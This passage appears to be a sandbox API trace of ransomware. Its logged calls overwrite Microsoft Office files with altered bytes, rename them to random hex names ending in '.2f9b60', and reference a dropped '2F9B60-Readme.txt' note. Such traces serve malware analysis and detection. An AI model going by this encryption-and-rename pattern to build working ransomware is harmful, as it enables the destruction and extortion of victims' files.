_Source="2f46825e40784fed7b9e24" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2f46825e40784fed7b9e24") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2f46825e40784fed7b9e24" [0146.443] wcscat (in: _Dest=0x2050b8a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2f46825e40784fed7b9e24.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2f46825e40784fed7b9e24.2f9b60" [0146.443] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2f46825e40784fed7b9e24.2f9b60", NtPathName=0x3f54f870, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\2f46825e40784fed7b9e24.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0146.444] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x4205e4c0 [0146.444] NtSetInformationFile (FileHandle=0x1afc, IoStatusBlock=0x3f54f910, FileInformation=0x4205e4c0, Length=0xba, FileInformationClass=0xa) [0219.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205e4c0) returned 1 [0219.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecec70) returned 1 [0219.999] NtQueryInformationFile (in: FileHandle=0x1afc, IoStatusBlock=0x3f54f8d8, FileInformation=0x3f54f8e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3f54f8d8, FileInformation=0x3f54f8e8) returned 0x0 [0219.999] NtSetInformationFile (FileHandle=0x1afc, IoStatusBlock=0x3f54f8d8, FileInformation=0x3f54f8e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0222.718] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b8a0) returned 1 [0222.719] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce224a0) returned 1 [0222.719] FlushFileBuffers (hFile=0x1afc) returned 1 [0222.721] CloseHandle (hObject=0x1afc) returned 1 [0223.210] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x202a5cd0 [0223.210] wcscpy (in: _Dest=0x202a5cd0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0223.210] wcscat (in: _Dest=0x202a5cd0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt" [0223.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\2f9b60-readme.txt")) returned 0x20 [0223.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5cd0) returned 1 [0223.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205081d0) returned 1 Thread: id = 2256 os_tid = 0xda0 [0143.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxt")) returned 0x20 [0145.166] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT", dwFileAttributes=0x20) returned 1 [0146.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c28 [0146.349] GetFileSizeEx (in: hFile=0x1c28, lpFileSize=0x3fe8f8a0 | out: lpFileSize=0x3fe8f8a0*=214) returned 1 [0146.349] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7380 [0146.349] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8520 [0146.349] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6b40 [0146.349] NtQuerySystemTime (in: CurrentTime=0x3fe8f760 | out: CurrentTime=0x3fe8f760*=132462177515926000) returned 0x0 [0146.349] RtlRandomEx (in: Seed=0x3fe8f750 | out: Seed=0x3fe8f750) returned 0x4f84dc46 [0146.349] RtlRandomEx (in: Seed=0x3fe8f750 | out: Seed=0x3fe8f750) returned 0x1c7cdae2 [0146.349] RtlRandomEx (in: Seed=0x3fe8f750 | out: Seed=0x3fe8f750) returned 0x1cefc1fd [0146.349] RtlRandomEx (in: Seed=0x3fe8f750 | out: Seed=0x3fe8f750) returned 0x7c5eb55c [0146.349] RtlRandomEx (in: Seed=0x3fe8f750 | out: Seed=0x3fe8f750) returned 0x7b06d262 [0146.349] RtlRandomEx (in: Seed=0x3fe8f750 | out: Seed=0x3fe8f750) returned 0x41cd79fb [0146.350] RtlRandomEx (in: Seed=0x3fe8f750 | out: Seed=0x3fe8f750) returned 0x67dd8da6 [0146.350] RtlRandomEx (in: Seed=0x3fe8f750 | out: Seed=0x3fe8f750) returned 0x5c7fc661 [0146.350] RtlRandomEx (in: Seed=0x3fe8f750 | out: Seed=0x3fe8f750) returned 0x4f701556 [0146.350] RtlRandomEx (in: Seed=0x3fe8f750 | out: Seed=0x3fe8f750) returned 0x6a1e7fac [0146.350] RtlRandomEx (in: Seed=0x3fe8f750 | out: Seed=0x3fe8f750) returned 0x414a3afe [0146.350] RtlRandomEx (in: Seed=0x3fe8f750 | out: Seed=0x3fe8f750) returned 0x16144dc9 [0146.350] RtlRandomEx (in: Seed=0x3fe8f750 | out: Seed=0x3fe8f750) returned 0xeec8fd [0146.350] RtlRandomEx (in: Seed=0x3fe8f750 | out: Seed=0x3fe8f750) returned 0x4c015d19 [0146.350] RtlRandomEx (in: Seed=0x3fe8f750 | out: Seed=0x3fe8f750) returned 0x1620ae62 [0146.350] RtlRandomEx (in: Seed=0x3fe8f750 | out: Seed=0x3fe8f750) returned 0x3f45c721 [0146.350] RtlRandomEx (in: Seed=0x3fe8f750 | out: Seed=0x3fe8f750) returned 0x2ed8bb04 [0146.350] RtlRandomEx (in: Seed=0x3fe8f750 | out: Seed=0x3fe8f750) returned 0x11f657b8 [0146.350] RtlRandomEx (in: Seed=0x3fe8f750 | out: Seed=0x3fe8f750) returned 0x6cec9c14 [0146.350] RtlRandomEx (in: Seed=0x3fe8f750 | out: Seed=0x3fe8f750) returned 0x2da421db [0146.350] RtlRandomEx (in: Seed=0x3fe8f750 | out: Seed=0x3fe8f750) returned 0x69b2a0c2 [0146.350] RtlRandomEx (in: Seed=0x3fe8f750 | out: Seed=0x3fe8f750) returned 0x33895705 [0146.350] RtlRandomEx (in: Seed=0x3fe8f750 | out: Seed=0x3fe8f750) returned 0x1b93a134 [0146.350] RtlRandomEx (in: Seed=0x3fe8f750 | out: Seed=0x3fe8f750) returned 0x592b8b0c [0146.350] RtlRandomEx (in: Seed=0x3fe8f750 | out: Seed=0x3fe8f750) returned 0x21f2ae19 [0146.350] RtlRandomEx (in: Seed=0x3fe8f750 | out: Seed=0x3fe8f750) returned 0xe313f [0146.350] RtlRandomEx (in: Seed=0x3fe8f750 | out: Seed=0x3fe8f750) returned 0x1b0662b1 [0146.350] RtlRandomEx (in: Seed=0x3fe8f750 | out: Seed=0x3fe8f750) returned 0x412055cd [0146.350] RtlRandomEx (in: Seed=0x3fe8f750 | out: Seed=0x3fe8f750) returned 0x765ed937 [0146.350] RtlRandomEx (in: Seed=0x3fe8f750 | out: Seed=0x3fe8f750) returned 0x28beaa16 [0146.350] RtlRandomEx (in: Seed=0x3fe8f750 | out: Seed=0x3fe8f750) returned 0x3bc70909 [0146.350] RtlRandomEx (in: Seed=0x3fe8f750 | out: Seed=0x3fe8f750) returned 0x7aeb79b [0146.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6e70 [0146.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866dc0 [0146.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8460 [0146.360] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866dc0) returned 1 [0146.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6b40) returned 1 [0146.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7380) returned 1 [0146.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ba0 [0146.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866dc0 [0146.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7380 [0146.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7380) returned 1 [0146.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422401c0 [0146.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42243dd0 [0146.362] ReadFile (in: hFile=0x1c28, lpBuffer=0x422401c0, nNumberOfBytesToRead=0xd6, lpNumberOfBytesRead=0x3fe8f750, lpOverlapped=0x0 | out: lpBuffer=0x422401c0*, lpNumberOfBytesRead=0x3fe8f750*=0xd6, lpOverlapped=0x0) returned 1 [0146.363] SetFilePointerEx (in: hFile=0x1c28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.363] WriteFile (in: hFile=0x1c28, lpBuffer=0x42243dd0*, nNumberOfBytesToWrite=0xd6, lpNumberOfBytesWritten=0x3fe8f754, lpOverlapped=0x0 | out: lpBuffer=0x42243dd0*, lpNumberOfBytesWritten=0x3fe8f754*=0xd6, lpOverlapped=0x0) returned 1 [0146.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced81f0 [0146.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced80a0 [0146.431] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced80a0) returned 1 [0146.431] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42243dd0) returned 1 [0146.432] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422401c0) returned 1 [0146.432] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866dc0) returned 1 [0146.432] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0146.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x42059ba0 [0146.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0146.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866dc0 [0146.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced80a0 [0146.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced80a0) returned 1 [0146.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x42059100 [0146.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced80a0 [0146.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6bd0 [0146.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6bd0) returned 1 [0146.434] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866dc0) returned 1 [0146.434] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0146.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x11e) returned 0x1b866130 [0146.434] SetFilePointerEx (in: hFile=0x1c28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0146.434] WriteFile (in: hFile=0x1c28, lpBuffer=0x1b866130*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3fe8f870, lpOverlapped=0x0 | out: lpBuffer=0x1b866130*, lpNumberOfBytesWritten=0x3fe8f870*=0x11e, lpOverlapped=0x0) returned 1 [0146.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0146.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0146.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0146.503] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced76b0) returned 1 [0146.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cd9f5b0 [0146.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0146.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6b70 [0146.504] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6b70) returned 1 [0146.505] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0146.505] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0146.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x59) returned 0x1ced9010 [0146.505] sprintf (in: _Dest=0x1ced9010, _Format="%c%c" | out: _Dest="2e") returned 2 [0146.505] sprintf (in: _Dest=0x1ced9012, _Format="%c%c" | out: _Dest="e8") returned 2 [0146.505] sprintf (in: _Dest=0x1ced9014, _Format="%c%c" | out: _Dest="fa") returned 2 [0146.505] sprintf (in: _Dest=0x1ced9016, _Format="%c%c" | out: _Dest="4a") returned 2 [0146.505] sprintf (in: _Dest=0x1ced9018, _Format="%c%c" | out: _Dest="47") returned 2 [0146.505] sprintf (in: _Dest=0x1ced901a, _Format="%c%c" | out: _Dest="e3") returned 2 [0146.505] sprintf (in: _Dest=0x1ced901c, _Format="%c%c" | out: _Dest="29") returned 2 [0146.505] sprintf (in: _Dest=0x1ced901e, _Format="%c%c" | out: _Dest="f4") returned 2 [0146.505] sprintf (in: _Dest=0x1ced9020, _Format="%c%c" | out: _Dest="8b") returned 2 [0146.505] sprintf (in: _Dest=0x1ced9022, _Format="%c%c" | out: _Dest="3e") returned 2 [0146.505] sprintf (in: _Dest=0x1ced9024, _Format="%c%c" | out: _Dest="ad") returned 2 [0146.505] sprintf (in: _Dest=0x1ced9026, _Format="%c%c" | out: _Dest="a2") returned 2 [0146.505] sprintf (in: _Dest=0x1ced9028, _Format="%c%c" | out: _Dest="de") returned 2 [0146.505] sprintf (in: _Dest=0x1ced902a, _Format="%c%c" | out: _Dest="93") returned 2 [0146.505] sprintf (in: _Dest=0x1ced902c, _Format="%c%c" | out: _Dest="ef") returned 2 [0146.505] sprintf (in: _Dest=0x1ced902e, _Format="%c%c" | out: _Dest="56") returned 2 [0146.505] sprintf (in: _Dest=0x1ced9030, _Format="%c%c" | out: _Dest="8e") returned 2 [0146.505] sprintf (in: _Dest=0x1ced9032, _Format="%c%c" | out: _Dest="a8") returned 2 [0146.505] sprintf (in: _Dest=0x1ced9034, _Format="%c%c" | out: _Dest="9a") returned 2 [0146.506] sprintf (in: _Dest=0x1ced9036, _Format="%c%c" | out: _Dest="42") returned 2 [0146.506] sprintf (in: _Dest=0x1ced9038, _Format="%c%c" | out: _Dest="9b") returned 2 [0146.506] sprintf (in: _Dest=0x1ced903a, _Format="%c%c" | out: _Dest="6c") returned 2 [0146.506] sprintf (in: _Dest=0x1ced903c, _Format="%c%c" | out: _Dest="a3") returned 2 [0146.506] sprintf (in: _Dest=0x1ced903e, _Format="%c%c" | out: _Dest="49") returned 2 [0146.506] sprintf (in: _Dest=0x1ced9040, _Format="%c%c" | out: _Dest="cc") returned 2 [0146.506] sprintf (in: _Dest=0x1ced9042, _Format="%c%c" | out: _Dest="43") returned 2 [0146.506] sprintf (in: _Dest=0x1ced9044, _Format="%c%c" | out: _Dest="be") returned 2 [0146.506] sprintf (in: _Dest=0x1ced9046, _Format="%c%c" | out: _Dest="77") returned 2 [0146.506] sprintf (in: _Dest=0x1ced9048, _Format="%c%c" | out: _Dest="e4") returned 2 [0146.506] sprintf (in: _Dest=0x1ced904a, _Format="%c%c" | out: _Dest="05") returned 2 [0146.506] sprintf (in: _Dest=0x1ced904c, _Format="%c%c" | out: _Dest="c1") returned 2 [0146.506] sprintf (in: _Dest=0x1ced904e, _Format="%c%c" | out: _Dest="9c") returned 2 [0146.506] sprintf (in: _Dest=0x1ced9050, _Format="%c%c" | out: _Dest="39") returned 2 [0146.506] sprintf (in: _Dest=0x1ced9052, _Format="%c%c" | out: _Dest="de") returned 2 [0146.506] sprintf (in: _Dest=0x1ced9054, _Format="%c%c" | out: _Dest="27") returned 2 [0146.506] sprintf (in: _Dest=0x1ced9056, _Format="%c%c" | out: _Dest="a3") returned 2 [0146.506] sprintf (in: _Dest=0x1ced9058, _Format="%c%c" | out: _Dest="3b") returned 2 [0146.506] sprintf (in: _Dest=0x1ced905a, _Format="%c%c" | out: _Dest="7b") returned 2 [0146.506] sprintf (in: _Dest=0x1ced905c, _Format="%c%c" | out: _Dest="4d") returned 2 [0146.506] sprintf (in: _Dest=0x1ced905e, _Format="%c%c" | out: _Dest="6e") returned 2 [0146.506] sprintf (in: _Dest=0x1ced9060, _Format="%c%c" | out: _Dest="2f") returned 2 [0146.506] sprintf (in: _Dest=0x1ced9062, _Format="%c%c" | out: _Dest="3b") returned 2 [0146.506] sprintf (in: _Dest=0x1ced9064, _Format="%c%c" | out: _Dest="d1") returned 2 [0146.506] sprintf (in: _Dest=0x1ced9066, _Format="%c%c" | out: _Dest="03") returned 2 [0146.506] RtlInitAnsiString (in: DestinationString=0x3fe8f8e8, SourceString="2ee8fa4a47e329f48b3eada2de93ef568ea89a429b6ca349cc43be77e405c19c39de27a33b7b4d6e2f3bd103" | out: DestinationString="2ee8fa4a47e329f48b3eada2de93ef568ea89a429b6ca349cc43be77e405c19c39de27a33b7b4d6e2f3bd103") [0146.506] RtlAnsiStringToUnicodeString (in: DestinationString=0x3fe8f8b8, SourceString="2ee8fa4a47e329f48b3eada2de93ef568ea89a429b6ca349cc43be77e405c19c39de27a33b7b4d6e2f3bd103", AllocateDestinationString=1 | out: DestinationString="2ee8fa4a47e329f48b3eada2de93ef568ea89a429b6ca349cc43be77e405c19c39de27a33b7b4d6e2f3bd103") returned 0x0 [0146.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x1ce22aa0 [0146.507] RtlFreeAnsiString (AnsiString="2") [0146.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9010) returned 1 [0146.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f5b0) returned 1 [0146.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced76b0) returned 1 [0146.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866130) returned 1 [0146.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059100) returned 1 [0146.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced80a0) returned 1 [0146.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0146.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced81f0) returned 1 [0146.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8520) returned 1 [0146.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6e70) returned 1 [0146.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8460) returned 1 [0146.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce12260 [0146.509] wcscat (in: _Dest=0x1ce12260, _Source="2ee8fa4a47e329f48b3ead" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2ee8fa4a47e329f48b3ead") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2ee8fa4a47e329f48b3ead" [0146.509] wcscat (in: _Dest=0x1ce12260, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2ee8fa4a47e329f48b3ead.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2ee8fa4a47e329f48b3ead.2f9b60" [0146.509] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2ee8fa4a47e329f48b3ead.2f9b60", NtPathName=0x3fe8f890, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\2ee8fa4a47e329f48b3ead.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0146.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x4205e730 [0146.509] NtSetInformationFile (FileHandle=0x1c28, IoStatusBlock=0x3fe8f930, FileInformation=0x4205e730, Length=0xba, FileInformationClass=0xa) Thread: id = 2257 os_tid = 0xdb0 [0143.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_f_col.hxk")) returned 0x20 [0145.167] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK", dwFileAttributes=0x20) returned 1 [0146.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_f_col.hxk"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c7c [0146.325] GetFileSizeEx (in: hFile=0x1c7c, lpFileSize=0x4006f980 | out: lpFileSize=0x4006f980*=114) returned 1 [0146.325] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6b70 [0146.325] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6ab0 [0146.325] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0146.326] NtQuerySystemTime (in: CurrentTime=0x4006f840 | out: CurrentTime=0x4006f840*=132462177515614000) returned 0x0 [0146.326] RtlRandomEx (in: Seed=0x4006f830 | out: Seed=0x4006f830) returned 0x3af038df [0146.326] RtlRandomEx (in: Seed=0x4006f830 | out: Seed=0x4006f830) returned 0x7f6d8aa8 [0146.326] RtlRandomEx (in: Seed=0x4006f830 | out: Seed=0x4006f830) returned 0x11b717aa [0146.326] RtlRandomEx (in: Seed=0x4006f830 | out: Seed=0x4006f830) returned 0x1807fecd [0146.326] RtlRandomEx (in: Seed=0x4006f830 | out: Seed=0x4006f830) returned 0x3c5823e0 [0146.326] RtlRandomEx (in: Seed=0x4006f830 | out: Seed=0x4006f830) returned 0x5cf68ceb [0146.326] RtlRandomEx (in: Seed=0x4006f830 | out: Seed=0x4006f830) returned 0x72a9652f [0146.326] RtlRandomEx (in: Seed=0x4006f830 | out: Seed=0x4006f830) returned 0x2d382b7a [0146.326] RtlRandomEx (in: Seed=0x4006f830 | out: Seed=0x4006f830) returned 0x4a89c294 [0146.326] RtlRandomEx (in: Seed=0x4006f830 | out: Seed=0x4006f830) returned 0x1c8fade9 [0146.326] RtlRandomEx (in: Seed=0x4006f830 | out: Seed=0x4006f830) returned 0x6c0942f4 [0146.326] RtlRandomEx (in: Seed=0x4006f830 | out: Seed=0x4006f830) returned 0x2d54b9d5 [0146.326] RtlRandomEx (in: Seed=0x4006f830 | out: Seed=0x4006f830) returned 0x16928547 [0146.326] RtlRandomEx (in: Seed=0x4006f830 | out: Seed=0x4006f830) returned 0x6e0075e [0146.326] RtlRandomEx (in: Seed=0x4006f830 | out: Seed=0x4006f830) returned 0x46baaa3e [0146.326] RtlRandomEx (in: Seed=0x4006f830 | out: Seed=0x4006f830) returned 0x66c97fb3 [0146.326] RtlRandomEx (in: Seed=0x4006f830 | out: Seed=0x4006f830) returned 0x42283f5f [0146.326] RtlRandomEx (in: Seed=0x4006f830 | out: Seed=0x4006f830) returned 0x290e885a [0146.327] RtlRandomEx (in: Seed=0x4006f830 | out: Seed=0x4006f830) returned 0x15cb83c [0146.327] RtlRandomEx (in: Seed=0x4006f830 | out: Seed=0x4006f830) returned 0x469b3c95 [0146.327] RtlRandomEx (in: Seed=0x4006f830 | out: Seed=0x4006f830) returned 0x6a7b0a8f [0146.327] RtlRandomEx (in: Seed=0x4006f830 | out: Seed=0x4006f830) returned 0x11cbf65e [0146.327] RtlRandomEx (in: Seed=0x4006f830 | out: Seed=0x4006f830) returned 0x7f838912 [0146.327] RtlRandomEx (in: Seed=0x4006f830 | out: Seed=0x4006f830) returned 0x66fdc393 [0146.327] RtlRandomEx (in: Seed=0x4006f830 | out: Seed=0x4006f830) returned 0x53eafe42 [0146.327] RtlRandomEx (in: Seed=0x4006f830 | out: Seed=0x4006f830) returned 0x7284cfb2 [0146.327] RtlRandomEx (in: Seed=0x4006f830 | out: Seed=0x4006f830) returned 0x77baa0ed [0146.327] RtlRandomEx (in: Seed=0x4006f830 | out: Seed=0x4006f830) returned 0x6b6a6639 [0146.327] RtlRandomEx (in: Seed=0x4006f830 | out: Seed=0x4006f830) returned 0x36e33350 [0146.327] RtlRandomEx (in: Seed=0x4006f830 | out: Seed=0x4006f830) returned 0x241bca56 [0146.327] RtlRandomEx (in: Seed=0x4006f830 | out: Seed=0x4006f830) returned 0x63c58e87 [0146.327] RtlRandomEx (in: Seed=0x4006f830 | out: Seed=0x4006f830) returned 0x677b0b8b [0146.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6ba0 [0146.336] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866dc0 [0146.336] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced69f0 [0146.336] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866dc0) returned 1 [0146.336] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced76b0) returned 1 [0146.337] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6b70) returned 1 [0146.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0146.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866dc0 [0146.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6b70 [0146.337] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6b70) returned 1 [0146.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422401c0 [0146.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42243dd0 [0146.337] ReadFile (in: hFile=0x1c7c, lpBuffer=0x422401c0, nNumberOfBytesToRead=0x72, lpNumberOfBytesRead=0x4006f830, lpOverlapped=0x0 | out: lpBuffer=0x422401c0*, lpNumberOfBytesRead=0x4006f830*=0x72, lpOverlapped=0x0) returned 1 [0146.339] SetFilePointerEx (in: hFile=0x1c7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.339] WriteFile (in: hFile=0x1c7c, lpBuffer=0x42243dd0*, nNumberOfBytesToWrite=0x72, lpNumberOfBytesWritten=0x4006f834, lpOverlapped=0x0 | out: lpBuffer=0x42243dd0*, lpNumberOfBytesWritten=0x4006f834*=0x72, lpOverlapped=0x0) returned 1 [0146.343] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6b70 [0146.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0146.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, 